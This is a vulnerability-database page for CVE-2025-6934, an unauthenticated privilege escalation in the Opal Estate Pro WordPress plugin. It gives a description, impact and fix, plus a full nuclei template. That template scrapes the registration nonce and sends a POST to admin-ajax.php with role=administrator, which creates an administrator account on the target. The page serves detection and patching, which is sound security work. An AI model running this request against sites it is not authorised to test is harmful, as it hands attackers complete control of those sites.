HexBrain

Browse / CVEs / CVE-2025-6934

CVE-2025-6934· themeforest / opal-estate-pro· CWE-269

The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation

criticalseverity
9.8CVSS score
25.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.

Impact

An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.

Fix

Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.

How to confirm it

Send: GET /
Positive when: contains "opalestate-register-nonce"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, 'status\":true') and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-6934 -u <target>

The full check
id: CVE-2025-6934

info:
  name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
  author: pussycat0x
  severity: critical
  description: |
    The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
  impact: |
    An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
  remediation: |
    Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
  reference:
    - https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
    - https://wordpress.org/plugins/opal-estate-pro/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6934
    epss-score: 0.25367
    epss-percentile: 0.97958
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 2
    vendor: themeforest
    product: opal-estate-pro
    publicwww-query: "/wp-content/plugins/opal-estate-pro/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,opalestate,vuln

flow: http(1) && http(2)

variables:
  username: "{{randstr}}"
  password: "{{to_lower(rand_text_alpha(8))}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "opalestate-register-nonce"
        internal: true

    extractors:
      - type: regex
        group: 1
        name: nonce
        part: body
        internal: true
        regex:
          - 'name="opalestate-register-nonce" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&email={{email}}&password={{password}}&password1={{password}}&role=administrator&confirmed_register=on&opalestate-register-nonce={{nonce}}&_wp_http_referer=%2F&ajax=1&action=opalestate_register_form

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'status\":true')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from